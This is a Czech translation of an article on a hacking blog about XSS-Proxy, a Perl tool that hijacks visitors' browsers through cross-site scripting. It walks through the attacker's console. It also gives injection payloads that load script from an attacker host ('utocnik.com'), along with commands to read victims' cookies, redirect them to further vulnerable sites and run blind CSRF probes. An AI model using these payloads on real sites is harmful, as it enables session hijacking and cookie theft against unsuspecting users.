Hacking DVD BackTrack, Linux, Hashe RSS Feed twitter airdump.cz BackTrack 3 4 5 6 CZ
Security a Tip
Donate a Sponzor

XSS Proxy pro Cross-Site Scripting

Útok Cross Site pomocí XSS Pokračování textu Pokročilé techniky XSS pojednáním o možnostech použití XSS Proxy a popisem jejích možností. Obrázek (viz před. článek) je „suchý“, aktuální test proti vaší vlastní webové stránce, náchylna na zranitelnost XSS, ale poskytne dostatečnou představu o nebezpečí spojeném s možným útokem. V následujícich bodech budou popsány nejpodstatnější kroky. Přehled počíta s XSS děravýme serverem, lokálním prohlížečem (bude sloužit jako oběť), XSS-Proxy a prohlížeč útočníka.

V reálné situaci bude útok na XSS zranitelný server, oběť i XSS-Proxy/útočník veden pravděpodobně schématicky jinak – bude zahrnovat vektor pro redirekt ze stránky na finální web kterou XSS-Proxy použije.

Souhrn postupu pro použití nástroje XSS-Proxy:
1 – Modifikace proměnných $code_server a $PORT v perl skriptu pro použití v systému na kterém hodláte perl skript provozovat. Výchozí konfigurace je port 80 a http://localhost
2 – Spuštění perl skriptu a nasměrování prohlížeče do /admin na serveru kde běží perl skript. Výchozí konfigurace je http://localhost/admin. To je administrační konzole útočníka a místo kde lze ovládat oběť a prohlížet výsledky.
3 – Inicializační URL kam je potřeba nasměrovat oběť je /xss2.js – váš inicializační XSS vektor potřebu naměrova zpátky na perl server a jméno souboru (vlastního XSSingu prohlížeče lze dosáhnout vložením kódu

<script src=“http://localhost/xss2.js“></script>

na stránce která obsahuje XSS zranitelnost) 4 – Po tom co proběhla inicializace oběti a existuje wait loop, můžete mrknout do složky /document na XSS webové stránce a kliknout na odkazy které chcete aby oběť navštívila/vrátila zpátky nebo můžete vložit documents/proměnné jako rozšířenou šablonu pro vstup. XSS-Proxy administrační příkazy a operace. – Konzole se automaticky neaktualizuje. Je potřeba použít refresh/reload tlčítko na prohlížeči. – Javascript is not required to run the console and it may be safer to disable for the attacker console. I’ve XSS’d myself a few times with some advanced testing. – Spojení se zobrazují v sekci „Klienti“ hned jak se oběť na XSS chytí. – Každá oběť/spojení forwarduje kopii „/“ složky XSSnutého serveru. – Přeposlané dokumenty jsou vypsány v sekci „Document Results“. Pokud na dokument kliknete, přepíšou se URL a bude odeslán XSS-Proxy dotaz na stejného klienta který dokument získal – Pokud budete formulář modifikovat, přesvědčte se, že poslední stránka kterou klient přijal má stejný obsah a hodnoty. Může docházet k duplicitním událostem a zmatkům. – Je možné nahrát dokuemnt manuálně, vložením odkazu do formuláře „Fetch Dokumentu“. První hodnota (vlevo) je číslo relace (session number) a druhá je pro znovuzískání dokumentu (0 a http://xssed.com/stuff). Ve výsledku bude dokument zobrazen v části „Document Results“. – Další forma form nazvána „Evaluate“ je určena pro požadavky Javascript vars/functions zo specifických klientů. Vložte session na levo a var na pravo (0 a document.cookie pro zobrazení cookies pro session 0) – Výsledký vyhodnocovacích dotazů najdete v části „Eval Results“. – V prohlížeči oběti běží i správce chyb takže chyby ze zobrazování a vyhodnocování najdete v části „Errors“. V kódu aplikace je pořád několik chyb proto bedlivě čtěte inicializační hlášky z kontrolního skriptu, poskytne vám nezbytné informace pro odladění. Útoky pracují s prohlížečem Internet Explorer a Firefox. Po malých úpravách budou pravděpodobně fungovat i další ovládače. Perl skript lze provozovat na většině dnešních operačních systémů se základní instalaci Perlu. Testováno na OS Linux a Windows (activestate perl) s Perl5. Je nenáročná a extrémně portovatelná ale Apache + DB server bude nejstabilnější platfroma.

Útoky a nástroje zahrnují

Pokročilé techniky útoku umožňují trvalé spojení a nahrání nebo přeposlání libovolného počtu dokumentů od obeti směrem k útočníkovi. Nazývám je obětmi v idle/wait stavu „Browser-Zombies“. Možnost prohlížet dokumenty, modifikovat a podstrkovat dokumenty oběti umožňuje útočníkovi rozšířit přístup na stránku nebo získat práva/identitu oběti XSS. To je užitečné zejména v případě, že je obět přihlášena na stránce (viz session-riding dokumnt (4)) a útočník využije stávajícího spojení. Kráděž cookie sama o sobě nemusí na mnoha serverech stačit a hodně webů používá další metody pro ověření. XSS-Proxy je extrémní příklad session-ridingu (4) a XSS kombinací umožňujíci přístup ke stejným zdrojům které ma oběť. Metody zahrnují kešovány/existujíci přihláčení, client-side certifikáty, IP přístupy ošetřeny firewalem nebo filtrem potažmo pohodlný přístup k dalším zdrojům za firewallem (viz tříbení útoků níže). Tento útok umožňuje i realtime (nebo skriptovaný) přístup do prohlížeče oběti a dalších typů obsahu nebo specifických zranitelností prohlížeče jako potencionální páka pro další prohlížeč/host přístup. Tento kontrolní kanál může sloužit jako doručovací mechanismus pro další formy malware. To zároveň znamená, že počátečný XSS útok a kontrolovaná relace není omezena na aktuální XSS zranitelný server. Útočník může přesměrovat oběť na další XSS zranitelnou stránku po počátečním únosu (browser hijack) a může rozhodnout o přístupu oběti na stránku, procesováním seznamu míst o kterých XSS zranitelnostech utočník ví a hodlá je prověřit. XSS-Poxy stačí aby oběť vyhodnotila výraz

document.location=“http://novaxssstranka.cz/xsscode“

Zde je příklad když existuje spojeni XSS-Proxy -> session 0:

Form Evaluate: Session: 0 Expression: document.location=“http://druhaxssstranka.cz/search.cgi?test=%3Cscript%20src=’http://utocnik.com/xss2.js’%3E%3C/script%3E“

Příkaz nahoře změní aktuální polohu hlavního okna prohlížeče oběti do nového XSS cíle, stáhne kód ze serveru útočníka, znovu vytvoří zavádeč IFRAME a spustí novou unešenou (hijack) relaci s http://druhaxssstranka.cz jako aktuální dokumentovou doménu. Přenesli jsme inicializační XSS na další cíl a získali tak kontrolu nad obětí. V zasádě jde o vmanevrování oběti pokračovat v surfování v okně které vytvoří útočník, v dalším XSS unešeném okně pak vynucovat periodické přesměrování pro odposlech zajímavých XSS stránek – každé přesměrování útočník kontroluje zda-li je oběť na některé ze stránek. Pokud je interaktivní okno na stejné stránce jako aktuální XSS check-site, útočník může číst obsah interaktivního okna. To znamená, že útočník postrkuje oběť úpravou odezvy serveru do doby než oběť zůstává na stejné stránce. XSS-Proxy to aktuálně přímo neumí ale některé interaktivní výrazy pro spojení můžou vytvořit popup okno (pokud to umožňuje prohlížeč) na celou obrazovku a periodick kontrolovat zda-li stránky které oběť prohlíží lze číst. Pro plné využití této možnosti útoku je toto potřeba zakomponovat do XSS-Proxy jako další příkaz. Dalším „zušlechťováním“ útoku se lze dopracovat k technice které říkáme sondování naslepo založeno na CSFR (blind CSRF based probing) pro další stránky s XSS chybami a ověřením stránek zranitelných na XSS. Validace lze dosáhnout s odezvou která nastavuje požadované IFRAME/okno zpátky na kontrolovaný XSS web a umožňuje tak trvalý přístup XSS kódu k možnosti číst z rámce. Lze tak protlačit více informací, přesměrování odkazu kevšemu v případě, že vše skončí na chybě 404, pomocí XSS kódu to budeme schopni přečíst. Pokud je XSS požadevek neúspěšný, rezidentní XSS kód nebude schopen číst IFRAME, odstraní IFRAME a bude pokračovat dalším testem. Znovu, aktualizuji stránku kde běží XSS-Proxy o nové údaje, když tam ale bude XSS chyba CSRF injekovaný vektor bude směrovat zpátky na stránku kterou již díky XSS kontrolujeme a náš skript bude niní schopen číst okno znovu. XSS-Proxy musí logicky obsahovat možnost obnovit se t.z mít možnost zrušit přístup na IFRAME, jeho odstarnění a znovunačtení rootu původního cíle XSS u každého selhání řtení IFRAME. To lze zároveň použít u CSRF XSS fuzzing útoku s GET odkazy, požadavkem klienta na vykonání dokumentu cílového systému včetně nějakého XSS kódu v odkazu pro nstavení zpětného rámce na výchozí XSS stránku, po úspěšném vykonání. Zde je příklad pro tuto akci s pomocí XSS-Proxy a obětí na session 0 která je právě na http://xssstranka1.cz – požadavek směruje na http://csrfteststarnka.cz:

Form: Fetch Document
Session: 0
Location: http://csrfteststarnka.cz/probeurl?probevalue=<script>document.location=“http://xssstranka1.cz/lalalalala“

Když XSS-Proxy hodí pro dokument zaváděče IFRAME hlášku „přístup zamítnut“ obstrukce byla neuspěšná. Pokud nedostaneme žádnou chybovou hlášku bude místo pro dokumenty novím zaváděčem IFRAME nastaveno na „http://xssstranka1.cz/lalalalala“ t.z blind fuzz byl úspěšný. Berte na zretel, že prohlížeč Internet Explorer o něco víc než 512 bajtů v 404 oznámení pro potlačeníí 404 res:// chyb. Naopak prohlížeč Firefox né, ten zdá se vždycky čte 404 v pohodě.

Další vychytávka zmiňovaného útoku umožňuje útočníkovi maskovat se obětí a vždy schová jeho lokalitu/IP vůči webové stránce. Detaily budou publikovány na webu XSS-Proxy. Metoda zahrnuje mimo jiné možnost volby rozmanitých XSS cílových webů a skryté kanály mezi několik IFRAMů na stejné stránce pro komunikaci příkaz – odezva. Skrytý kanál je IFRAME které poloha je swapována mezi dvě XSS stránky a příkazy/odezvy jsou komunikovány přes cílové URL (to za normálných okolností končí jako 404, ale je pořád možné číst lokalitu pokud je nastavena na správnou dokumentovou doménu). V důsledku toho žádny z dokumentů neví kde je vzdálený skript server umístěn a jako útočník se jeví prohlížeč oběti, zatímco další stránky realizují volání inicializačního skriptu v prohlížeči oběti. Útočník používající něco jako Nikto přes nástroj XSS-Proxy může napadat druhou cílovou stránku maskován jako oběť – za využití dalších možností XSS exploitace zranitelnosti. Bez komplexní analýzi systému oběti se administrátor webu nikdy nedoví kde je útočíci server umístěn. XSS-Proxy touto možností nedisponuje, tato feature bude ale do kódu přidána.

Již jednoduchý kontrolovaný útok a možnosti které jsou limitovány pouze fantazii útočníka jsou opravdu velké zlo a libovolné další DOM interwindow trust zranitelnosti v prohlížečích (jako třeba zranitelnost ve Firefoxu – možnost přepnout okno Firefoxu do záložky) situaci zhoršují, stejně jako všechny napadené webové stránky, které umožňují volné prohlížení. XSS-Proxy umí pracovat pouze s obsahem dokumentů HTML a text. Obrázky, soubory a další obsah není útočníkem stahován. Vzdálené získání dalších typů souborů je možné ale docílit s XSS re-injekcí a použitím funkcí jako XMLHTTP pro jakýkoli binární obsah z cílového serveru.

Vývojářský web a další informace

XSS-Proxy je dostupná na sourceforge.net. Domácí stránka obsahuje i podrobnější dokumentaci, diagramy, screenshoty, stejně jako Shmoocon prezentace.

Reference

(1) CGISecurity’s Cross Site Scripting FAQ
(2) XSS dokumentace Guntera Ollmanna
(3) Cross Site Request Forgery (CSRF) koncept od autora PeterW
(4) Session Riding dokumentace serveru SecureNet
(5) CERT informace ohledně XSS
(6) Vzdálené skriptování s IFRAMi

Poděkováni autora patří všem co vkládají, sdílí myšlenky a testují. Velké diky patří autorům publikace „Javascript 2nd Ed – The Complete Reference“. Sepsal Anton Rager. Pro AMP Security přeložil xpp.

Kam dál?



Přihlásit / Odhlásit odběr novinek

Počet přihlášených k odběru novinek

    2573